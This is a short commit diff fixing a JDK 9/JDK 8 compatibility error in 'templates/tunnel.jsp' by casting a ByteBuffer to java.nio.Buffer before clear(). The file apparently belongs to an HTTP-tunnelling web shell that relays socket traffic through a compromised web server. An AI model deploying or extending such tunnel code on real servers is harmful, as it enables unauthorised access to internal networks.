Fix error when compiled jdk9 and run with jdk8

修复当使用jdk9编译的class运行于jdk8时buf.clear()错误的问题  plasma-umass/doppio#497

templates/tunnel.jsp

@@ -219,7 +219,7 @@
                     System.arraycopy(buf.array(), 0, data, 0, bytesRead);
                     out.write(b64en(data));
                     out.flush();
-                    buf.clear();
+                    ((java.nio.Buffer)buf).clear();
                     bytesRead = socketChannel.read(buf);
                 }
                 response.setHeader("X-STATUS", "OK");